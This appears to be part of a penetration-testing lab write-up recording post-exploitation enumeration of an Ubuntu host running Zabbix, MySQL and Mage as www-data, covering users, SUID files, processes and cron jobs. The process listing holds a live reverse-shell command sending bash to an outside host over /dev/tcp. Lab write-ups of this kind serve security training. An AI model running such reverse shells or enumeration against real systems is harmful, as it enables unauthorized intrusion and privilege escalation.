System/Kernel


www-data@zab:~/html$ uname -a ; cat /etc/*release
Linux zab 5.15.0-122-generic #132-Ubuntu SMP Thu Aug 29 13:45:52 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04 LTS"
PRETTY_NAME="Ubuntu 22.04 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04 (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
  • 5.15.0-122-generic
  • x86_64
  • Ubuntu 22.04 (Jammy Jellyfish)

Networks


www-data@zab:~/html$ ip route ; arp -a
default via 192.168.239.254 dev ens192 proto static 
192.168.239.0/24 dev ens192 proto kernel scope link src 192.168.239.210 
Command 'arp' not found, but can be installed with:
apt install net-tools
Please ask your administrator.
www-data@zab:~/html$ ss -tunlp
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                            
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*                                      
tcp   LISTEN 0      100        127.0.0.1:51955      0.0.0.0:*    users:(("python3",pid=1311,fd=11))
tcp   LISTEN 0      100        127.0.0.1:43725      0.0.0.0:*    users:(("python3",pid=1311,fd=13))
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*                                      
tcp   LISTEN 0      128          0.0.0.0:6789       0.0.0.0:*    users:(("mage",pid=808,fd=18))    
tcp   LISTEN 0      100        127.0.0.1:39913      0.0.0.0:*    users:(("python3",pid=1311,fd=22))
tcp   LISTEN 0      4096       127.0.0.1:10051      0.0.0.0:*                                      
tcp   LISTEN 0      4096       127.0.0.1:10050      0.0.0.0:*                                      
tcp   LISTEN 0      100        127.0.0.1:42831      0.0.0.0:*    users:(("python3",pid=1311,fd=9)) 
tcp   LISTEN 0      151        127.0.0.1:3306       0.0.0.0:*                                      
tcp   LISTEN 0      100        127.0.0.1:39983      0.0.0.0:*    users:(("python3",pid=1311,fd=27))
tcp   LISTEN 0      70         127.0.0.1:33060      0.0.0.0:*                                      
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*                                      
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*                                      
tcp   LISTEN 0      100        127.0.0.1:46409      0.0.0.0:*    users:(("python3",pid=1311,fd=35))
  • 127.0.0.1:10050
  • 127.0.0.1:10051
  • 127.0.0.1:3306
  • 127.0.0.1:33060

Users & Groups


www-data@zab:~/html$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ubuntu:x:1000:1001:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
zabbix:x:114:120::/var/lib/zabbix/:/usr/sbin/nologin
Debian-snmp:x:115:121::/var/lib/snmp:/bin/false
total 12K
4.0K drwxr-x---  3 ubuntu ubuntu 4.0K Sep 19  2024 ubuntu
4.0K drwxr-xr-x  3 root   root   4.0K Sep 19  2024 .
4.0K drwxr-xr-x 19 root   root   4.0K Sep 19  2024 ..

Ubuntu

www-data@zab:~/html$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=102(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=103(messagebus) gid=104(messagebus) groups=104(messagebus)
uid=104(systemd-timesync) gid=105(systemd-timesync) groups=105(systemd-timesync)
uid=105(pollinate) gid=1(daemon) groups=1(daemon)
uid=106(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=107(syslog) gid=113(syslog) groups=113(syslog),4(adm)
uid=108(uuidd) gid=114(uuidd) groups=114(uuidd)
uid=109(tcpdump) gid=115(tcpdump) groups=115(tcpdump)
uid=110(tss) gid=116(tss) groups=116(tss)
uid=111(landscape) gid=117(landscape) groups=117(landscape)
uid=112(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=1000(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),110(lxd),1000(netdev)
uid=999(lxd) gid=100(users) groups=100(users)
uid=113(mysql) gid=118(mysql) groups=118(mysql)
uid=114(zabbix) gid=120(zabbix) groups=120(zabbix)
uid=115(Debian-snmp) gid=121(Debian-snmp) groups=121(Debian-snmp)
  • uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • uid=1000(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),110(lxd),1000(netdev)

SUIDs


www-data@zab:~/html$ find / -perm -04000 -ls -type f 2>/dev/null | grep -v '/snap'
     1246     36 -rwsr-xr--   1 root     messagebus         35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    15549    332 -rwsr-xr-x   1 root     root              338536 Jun 26  2024 /usr/lib/openssh/ssh-keysign
     3840     72 -rwsr-xr-x   1 root     root               72072 Feb  6  2024 /usr/bin/gpasswd
     3841     60 -rwsr-xr-x   1 root     root               59976 Feb  6  2024 /usr/bin/passwd
      689     36 -rwsr-xr-x   1 root     root               35200 Apr  9  2024 /usr/bin/umount
     1520     40 -rwsr-xr-x   1 root     root               40496 Feb  6  2024 /usr/bin/newgrp
     8057     56 -rwsr-xr-x   1 root     root               55680 Apr  9  2024 /usr/bin/su
      679     36 -rwsr-xr-x   1 root     root               35200 Mar 23  2022 /usr/bin/fusermount3
     3838     44 -rwsr-xr-x   1 root     root               44808 Feb  6  2024 /usr/bin/chsh
     3837     72 -rwsr-xr-x   1 root     root               72712 Feb  6  2024 /usr/bin/chfn
     1582    228 -rwsr-xr-x   1 root     root              232416 Apr  3  2023 /usr/bin/sudo
      665     48 -rwsr-xr-x   1 root     root               47488 Apr  9  2024 /usr/bin/mount

SGIDs


www-data@zab:~/html$ find / -perm -02000 -ls -type f 2>/dev/null | grep -v '/snap'
    12167      4 drwxrwsr-x   2 root     staff        4096 Apr 18  2022 /var/local
    12651      4 drwxr-sr-x   3 root     systemd-journal     4096 Sep 19  2024 /var/log/journal
     7978      4 drwxr-sr-x   2 root     systemd-journal     4096 Apr 17 13:38 /var/log/journal/4e707f0a7cfa4921b101a3916742c8f7
    12169      4 drwxrwsr-x   2 root     mail                4096 Apr 21  2022 /var/mail
      998      4 drwxrwsr-x   2 root     staff                4096 Mar  5 12:05 /usr/local/share/fonts
   135523     16 -rwxr-sr-x   1 root     utmp                14488 Mar 24  2022 /usr/lib/x86_64-linux-gnu/utempter/utempter
    15527    288 -rwxr-sr-x   1 root     _ssh               293304 Jun 26  2024 /usr/bin/ssh-agent
      595     40 -rwxr-sr-x   1 root     crontab             39568 Mar 23  2022 /usr/bin/crontab
     3836     72 -rwxr-sr-x   1 root     shadow              72184 Feb  6  2024 /usr/bin/chage
     3839     24 -rwxr-sr-x   1 root     shadow              23136 Feb  6  2024 /usr/bin/expiry
    12359     28 -rwxr-sr-x   1 root     shadow              26776 Jan 10  2024 /usr/sbin/unix_chkpwd
    12016     24 -rwxr-sr-x   1 root     shadow              22680 Jan 10  2024 /usr/sbin/pam_extrausers_chkpwd
      542      0 drwxr-sr-x   2 root     systemd-journal        40 Mar 24 13:04 /run/log/journal

Capabilities


www-data@zab:~/html$ getcap -r / 2>/dev/null
/snap/core20/2496/usr/bin/ping cap_net_raw=ep
/snap/core20/1405/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/fping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep

Processes


www-data@zab:~/html$ ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.4 167576  9152 ?        Ss   13:20   0:01 /sbin/init
root         413  0.4  0.7 421348 14880 ?        S<s  13:20   0:19 /lib/systemd/systemd-journald
root         457  0.0  1.3 354884 27096 ?        SLsl 13:20   0:00 /sbin/multipathd -d -s
root         459  0.0  0.2  26216  5400 ?        Ss   13:20   0:00 /lib/systemd/systemd-udevd
systemd+     631  0.0  0.2  89364  4128 ?        Ssl  13:20   0:00 /lib/systemd/systemd-timesyncd
root         643  0.0  0.3  51148  6952 ?        Ss   13:20   0:00 /usr/bin/VGAuthService
root         644  0.0  0.2 242336  6032 ?        Ssl  13:20   0:03 /usr/bin/vmtoolsd
systemd+     748  0.0  0.2  16244  5004 ?        Ss   13:20   0:00 /lib/systemd/systemd-networkd
systemd+     750  0.0  0.4  25544  8812 ?        Ss   13:20   0:00 /lib/systemd/systemd-resolved
root         794  0.0  0.1   6896  2492 ?        Ss   13:22   0:00 /usr/sbin/cron -f -P
message+     797  0.0  0.2   8772  4292 ?        Ss   13:22   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         806  0.0  0.1  82832  3396 ?        Ssl  13:22   0:00 /usr/sbin/irqbalance --foreground
www-data     808  2.5 13.1 1586812 263608 ?      Ssl  13:22   1:48 /usr/bin/python3 /usr/local/bin/mage start
root         810  0.0  0.8  32756 16596 ?        Ss   13:22   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         812  0.0  0.2 234504  4688 ?        Ssl  13:22   0:00 /usr/libexec/polkitd --no-debug
syslog       813  0.2  0.2 222404  5264 ?        Ssl  13:22   0:10 /usr/sbin/rsyslogd -n -iNONE
root         816  0.2  0.6 1395172 12432 ?       Ssl  13:22   0:08 /usr/lib/snapd/snapd
root         825  0.0  0.2  15032  4704 ?        Ss   13:22   0:00 /lib/systemd/systemd-logind
root         828  0.0  0.3 392604  7796 ?        Ssl  13:22   0:00 /usr/libexec/udisks2/udisksd
root         863  0.0  0.0   6176   904 tty1     Ss+  13:22   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root         864  0.0  0.3  15432  6964 ?        Ss   13:22   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
zabbix       874  0.0  0.2  21584  4300 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd -c /etc/zabbix/zabbix_agentd.conf
zabbix       875  0.0  0.1  21584  3160 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: collector [idle 1 sec]
zabbix       876  0.0  0.2  22120  4972 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #1 [waiting for connection]
zabbix       879  0.0  0.2  22120  4972 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #2 [waiting for connection]
zabbix       880  0.0  0.2  22140  5112 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #3 [waiting for connection]
zabbix       881  0.0  0.2  22120  4956 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #4 [waiting for connection]
zabbix       882  0.0  0.2  22140  5116 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #5 [waiting for connection]
zabbix       883  0.0  0.2  22120  4972 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #6 [waiting for connection]
zabbix       884  0.0  0.2  22120  4956 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #7 [waiting for connection]
zabbix       885  0.0  0.2  22120  4976 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #8 [waiting for connection]
zabbix       891  0.0  0.2  22120  4972 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #9 [waiting for connection]
zabbix       900  0.0  0.2  22120  4972 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: listener #10 [waiting for connection]
root         906  0.0  0.3 317032  6976 ?        Ssl  13:22   0:00 /usr/sbin/ModemManager
zabbix       907  0.0  0.2  22120  4248 ?        S    13:22   0:00 /usr/sbin/zabbix_agentd: active checks #1 [idle 1 sec]
root         931  0.0  0.9 109796 18576 ?        Ssl  13:22   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root         936  0.0  0.8 224340 17976 ?        Ss   13:22   0:00 /usr/sbin/apache2 -k start
mysql        958  0.9 24.0 1820500 484232 ?      Ssl  13:22   0:40 /usr/sbin/mysqld
zabbix      1052  0.0  0.5 142872 10204 ?        S    13:22   0:00 /usr/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
zabbix      1054  0.0  0.2  97428  5940 ?        S    13:22   0:00 /usr/sbin/zabbix_server: ha manager
zabbix      1056  0.0  0.3 142872  6152 ?        S    13:22   0:00 /usr/sbin/zabbix_server: service manager #1 [processed 0 events, updated 0 event tags, deleted 0 problems, synced 0 service updates, idle 5.005259 sec during 5.005345 sec]
zabbix      1057  0.0  0.8 146004 17780 ?        S    13:22   0:02 /usr/sbin/zabbix_server: configuration syncer [synced configuration in 0.011487 sec, idle 10 sec]
zabbix      1074  0.0  0.2 142872  5772 ?        S    13:22   0:00 /usr/sbin/zabbix_server: alert manager #1 [sent 0, failed 0 alerts, idle 5.009207 sec during 5.009341 sec]
zabbix      1075  0.0  0.2 142740  4588 ?        S    13:22   0:00 /usr/sbin/zabbix_server: alerter #1 started
zabbix      1076  0.0  0.2 142740  4588 ?        S    13:22   0:00 /usr/sbin/zabbix_server: alerter #2 started
zabbix      1077  0.0  0.2 142740  4588 ?        S    13:22   0:00 /usr/sbin/zabbix_server: alerter #3 started
zabbix      1078  0.0  0.8 1262324 16652 ?       Sl   13:22   0:00 /usr/sbin/zabbix_server: preprocessing manager #1 [queued 1, processed 7 values, idle 5.005456 sec during 5.005667 sec]
zabbix      1079  0.0  0.2 142740  4628 ?        S    13:22   0:00 /usr/sbin/zabbix_server: lld manager #1 [processed 0 LLD rules, idle 5.003909sec during 5.003968 sec]
zabbix      1080  0.0  0.4 143216  8180 ?        S    13:22   0:00 /usr/sbin/zabbix_server: lld worker #1 [processed 1 LLD rules, idle 21.017068 sec during 21.021396 sec]
zabbix      1081  0.0  0.4 143220  8312 ?        S    13:22   0:00 /usr/sbin/zabbix_server: lld worker #2 [processed 1 LLD rules, idle 21.004277 sec during 21.028235 sec]
zabbix      1082  0.0  0.2 143160  5824 ?        S    13:22   0:00 /usr/sbin/zabbix_server: housekeeper [deleted 276 hist/trends, 0 items/triggers, 0 events, 0 sessions, 0 alarms, 33 audit items, 0 autoreg_host, 0 records in 0.321312 sec, idle for 1 hour(s)]
zabbix      1083  0.0  0.3 142872  6076 ?        S    13:22   0:00 /usr/sbin/zabbix_server: timer #1 [updated 0 hosts, suppressed 0 events in 0.001313 sec, idle 59 sec]
zabbix      1084  0.0  0.3 142740  6136 ?        S    13:22   0:00 /usr/sbin/zabbix_server: http poller #1 [got 0 values in 0.000030 sec, idle 5 sec]
zabbix      1085  0.0  0.3 143144  6416 ?        S    13:22   0:00 /usr/sbin/zabbix_server: browser poller #1 [got 0 values in 0.000035 sec, idle 5 sec]
zabbix      1086  0.0  0.4 516904  9268 ?        Sl   13:22   0:00 /usr/sbin/zabbix_server: discovery manager #1 [processing 0 rules, 0 unsaved checks]
zabbix      1087  0.0  0.4 151836  9672 ?        S    13:22   0:01 /usr/sbin/zabbix_server: history syncer #1 [processed 1 values, 1 triggers in 0.007709 sec, idle 1 sec]
zabbix      1088  0.0  0.3 151632  7608 ?        S    13:22   0:00 /usr/sbin/zabbix_server: history syncer #2 [processed 0 values, 0 triggers in 0.000029 sec, idle 1 sec]
zabbix      1089  0.0  0.3 151632  7788 ?        S    13:22   0:00 /usr/sbin/zabbix_server: history syncer #3 [processed 0 values, 0 triggers in 0.000034 sec, idle 1 sec]
zabbix      1091  0.0  0.3 151660  7820 ?        S    13:22   0:00 /usr/sbin/zabbix_server: history syncer #4 [processed 0 values, 0 triggers in 0.000024 sec, idle 1 sec]
zabbix      1095  0.0  0.2 143284  5820 ?        S    13:22   0:00 /usr/sbin/zabbix_server: escalator #1 [processed 0 escalations in 0.000777 sec, idle 3 sec]
zabbix      1096  0.0  0.2 143284  5876 ?        S    13:22   0:00 /usr/sbin/zabbix_server: proxy poller #1 [exchanged data with 0 proxies in 0.000020 sec, idle 5 sec]
zabbix      1097  0.0  0.2 142740  4572 ?        S    13:22   0:00 /usr/sbin/zabbix_server: self-monitoring [processed data in 0.000031 sec, idle 1 sec]
zabbix      1119  0.0  0.3 142740  6152 ?        S    13:22   0:00 /usr/sbin/zabbix_server: task manager [processed 0 task(s) in 0.000311 sec, idle 5 sec]
zabbix      1120  0.0  0.3 143144  6364 ?        S    13:22   0:00 /usr/sbin/zabbix_server: poller #1 [got 0 values in 0.000016 sec, idle 5 sec]
zabbix      1121  0.0  0.3 143144  6364 ?        S    13:22   0:00 /usr/sbin/zabbix_server: poller #2 [got 0 values in 0.000017 sec, idle 5 sec]
zabbix      1122  0.0  0.3 143144  6364 ?        S    13:22   0:00 /usr/sbin/zabbix_server: poller #3 [got 0 values in 0.000032 sec, idle 5 sec]
zabbix      1123  0.0  0.3 143144  6368 ?        S    13:22   0:00 /usr/sbin/zabbix_server: poller #4 [got 0 values in 0.000015 sec, idle 5 sec]
zabbix      1124  0.0  0.3 143144  6368 ?        S    13:22   0:00 /usr/sbin/zabbix_server: poller #5 [got 0 values in 0.000018 sec, idle 5 sec]
zabbix      1126  0.0  0.3 143144  6368 ?        S    13:22   0:00 /usr/sbin/zabbix_server: unreachable poller #1 [got 0 values in 0.000024 sec, idle 5 sec]
zabbix      1127  0.0  0.3 143296  7796 ?        S    13:22   0:00 /usr/sbin/zabbix_server: trapper #1 [processed data in 0.000038 sec, waiting for connection]
zabbix      1128  0.0  0.3 143296  7796 ?        S    13:22   0:00 /usr/sbin/zabbix_server: trapper #2 [processed data in 0.000046 sec, waiting for connection]
zabbix      1135  0.0  0.4 143296  8508 ?        S    13:22   0:00 /usr/sbin/zabbix_server: trapper #3 [processed data in 0.000040 sec, waiting for connection]
zabbix      1136  0.0  0.3 143296  7800 ?        S    13:22   0:00 /usr/sbin/zabbix_server: trapper #4 [processed data in 0.000054 sec, waiting for connection]
zabbix      1137  0.0  0.4 143296  8492 ?        S    13:22   0:00 /usr/sbin/zabbix_server: trapper #5 [processed data in 0.000056 sec, waiting for connection]
zabbix      1138  0.0  0.2 142740  4476 ?        S    13:22   0:00 /usr/sbin/zabbix_server: icmp pinger #1 [got 0 values in 0.000027 sec, idle 5 sec]
zabbix      1141  0.0  0.3 142872  6096 ?        S    13:22   0:00 /usr/sbin/zabbix_server: alert syncer [queued 0 alerts(s), flushed 0 result(s) in 0.000001 sec, idle 1 sec]
zabbix      1142  0.0  0.3 143416  7696 ?        S    13:22   0:00 /usr/sbin/zabbix_server: history poller #1 [got 0 values in 0.000022 sec, idle 5 sec]
zabbix      1144  0.0  0.3 143416  7696 ?        S    13:22   0:00 /usr/sbin/zabbix_server: history poller #2 [got 0 values in 0.000037 sec, idle 5 sec]
zabbix      1149  0.0  0.4 143300  8436 ?        S    13:22   0:00 /usr/sbin/zabbix_server: history poller #3 [got 0 values in 0.000019 sec, idle 5 sec]
zabbix      1150  0.0  0.4 143300  8436 ?        S    13:22   0:00 /usr/sbin/zabbix_server: history poller #4 [got 0 values in 0.000021 sec, idle 5 sec]
zabbix      1151  0.0  0.4 143524  8480 ?        S    13:22   0:00 /usr/sbin/zabbix_server: history poller #5 [got 0 values in 0.000033 sec, idle 5 sec]
zabbix      1153  0.0  0.3 142872  6128 ?        S    13:22   0:00 /usr/sbin/zabbix_server: availability manager #1 [queued 0, processed 0 values, idle 5.004986 sec during 5.005039 sec]
zabbix      1154  0.0  0.3 142740  6160 ?        S    13:22   0:00 /usr/sbin/zabbix_server: trigger housekeeper [deleted 0 problems records in 0.000385 sec, idle for 60 second(s)]
zabbix      1155  0.0  0.3 143144  6428 ?        S    13:22   0:00 /usr/sbin/zabbix_server: odbc poller #1 [got 0 values in 0.000041 sec, idle 5 sec]
zabbix      1156  0.0  0.2 216472  5316 ?        Sl   13:22   0:00 /usr/sbin/zabbix_server: http agent poller #1 [got 0 values, queued 0 in 5 sec, awaiting 0]
zabbix      1158  0.0  0.5 217784 10324 ?        Sl   13:22   0:00 /usr/sbin/zabbix_server: agent poller #1 [got 5 values, queued 4 in 5 sec, awaiting 1]
zabbix      1160  0.0  0.3 219864  7572 ?        Sl   13:22   0:00 /usr/sbin/zabbix_server: snmp poller #1 [got 0 values, queued 0 in 5 sec, awaiting 0]
zabbix      1161  0.0  0.3 142740  6136 ?        S    13:22   0:00 /usr/sbin/zabbix_server: configuration syncer worker [synced 0, updated 0 item names in 0.000670 sec, idle]
zabbix      1162  0.0  0.5 143276 10120 ?        S    13:22   0:00 /usr/sbin/zabbix_server: internal poller #1 [got 1 values in 0.000264 sec, idle 3 sec]
zabbix      1163  0.0  0.2 216604  5536 ?        Sl   13:22   0:00 /usr/sbin/zabbix_server: proxy group manager #1 started
www-data    1302  0.0  8.4 825860 169132 ?       Sl   13:22   0:00 /usr/bin/python3 /usr/local/bin/mage start
www-data    1307  0.0  8.8 769112 178168 ?       S    13:22   0:03 /usr/bin/python3 /usr/local/bin/mage start
www-data    1311  0.1  8.7 1441520 176752 ?      Ssl  13:22   0:07 /usr/bin/python3 -m ipykernel_launcher -f /tmp/tmpprx3jn2d.json
www-data    2130  0.0  0.8 225164 17824 ?        S    13:44   0:00 /usr/sbin/apache2 -k start
www-data    2166  0.0  0.8 225164 16956 ?        S    13:46   0:00 /usr/sbin/apache2 -k start
www-data    2172  0.0  0.8 225164 17236 ?        S    13:46   0:00 /usr/sbin/apache2 -k start
www-data    2178  0.0  0.7 225164 15604 ?        S    13:46   0:00 /usr/sbin/apache2 -k start
www-data    2180  0.0  0.8 225164 16896 ?        S    13:46   0:00 /usr/sbin/apache2 -k start
www-data    2197  0.0  0.9 224868 18536 ?        S    13:46   0:00 /usr/sbin/apache2 -k start
www-data    2210  0.0  0.5 224868 10256 ?        S    13:46   0:00 /usr/sbin/apache2 -k start
www-data    2222  0.0  0.8 225236 17468 ?        S    13:46   0:00 /usr/sbin/apache2 -k start
www-data    2224  0.0  0.8 225164 17092 ?        S    13:46   0:00 /usr/sbin/apache2 -k start
www-data    2225  0.0  0.5 224868 10980 ?        S    13:46   0:00 /usr/sbin/apache2 -k start
www-data    2520  0.0  0.1   7636  2648 pts/0    Ss+  14:08   0:00 /usr/bin/bash
root        3262  0.0  0.6 295580 13996 ?        Ssl  14:24   0:00 /usr/libexec/packagekitd
www-data    3530  0.0  0.0   2892   964 ?        S    14:26   0:00 sh -c bash -c 'bash -i >& /dev/tcp/192.168.45.155/9999 0>&1'
www-data    3531  0.0  0.1   7372  2244 ?        S    14:26   0:00 bash -c bash -i >& /dev/tcp/192.168.45.155/9999 0>&1
www-data    3532  0.0  0.1   7636  3728 ?        S    14:26   0:00 bash -i
www-data    3816  0.0  0.1  10336  3812 ?        R    14:32   0:00 ps -auxwww
  • root 794 0.0 0.1 6896 2492 ? Ss 13:22 0:00 /usr/sbin/cron -f -P
  • www-data 808 2.5 13.1 1586812 263608 ? Ssl 13:22 1:48 /usr/bin/python3 /usr/local/bin/mage start
  • zabbix 874 0.0 0.2 21584 4300 ? S 13:22 0:00 /usr/sbin/zabbix_agentd -c /etc/zabbix/zabbix_agentd.conf
  • mysql 958 0.9 24.0 1820500 484232 ? Ssl 13:22 0:40 /usr/sbin/mysqld
  • zabbix 1052 0.0 0.5 142872 10204 ? S 13:22 0:00 /usr/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
  • root 3262 0.0 0.6 295580 13996 ? Ssl 14:24 0:00 /usr/libexec/packagekitd

Cron & Systemd


www-data@zab:~/html$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                        LEFT          LAST                        PASSED               UNIT                           ACTIVATES
Thu 2025-04-17 14:39:00 UTC 4min 2s left  Thu 2025-04-17 14:09:05 UTC 25min ago            phpsessionclean.timer          phpsessionclean.service
Thu 2025-04-17 14:53:45 UTC 18min left    Wed 2025-03-05 12:06:06 UTC 1 month 12 days ago  fstrim.timer                   fstrim.service
Thu 2025-04-17 16:19:46 UTC 1h 44min left Thu 2024-09-19 11:53:45 UTC 6 months 27 days ago man-db.timer                   man-db.service
Thu 2025-04-17 19:37:42 UTC 5h 2min left  Thu 2025-04-17 14:23:29 UTC 11min ago            apt-daily.timer                apt-daily.service
Thu 2025-04-17 19:44:50 UTC 5h 9min left  Thu 2025-04-17 13:26:31 UTC 1h 8min ago          ua-timer.timer                 ua-timer.service
Thu 2025-04-17 20:52:31 UTC 6h left       Wed 2025-03-05 12:09:01 UTC 1 month 12 days ago  fwupd-refresh.timer            fwupd-refresh.service
Fri 2025-04-18 00:00:00 UTC 9h left       Thu 2025-04-17 13:23:03 UTC 1h 11min ago         dpkg-db-backup.timer           dpkg-db-backup.service
Fri 2025-04-18 00:00:00 UTC 9h left       Thu 2025-04-17 13:23:03 UTC 1h 11min ago         logrotate.timer                logrotate.service
Fri 2025-04-18 05:09:20 UTC 14h left      Thu 2025-04-17 14:23:05 UTC 11min ago            motd-news.timer                motd-news.service
Fri 2025-04-18 06:47:11 UTC 16h left      Thu 2025-04-17 13:59:31 UTC 35min ago            apt-daily-upgrade.timer        apt-daily-upgrade.service
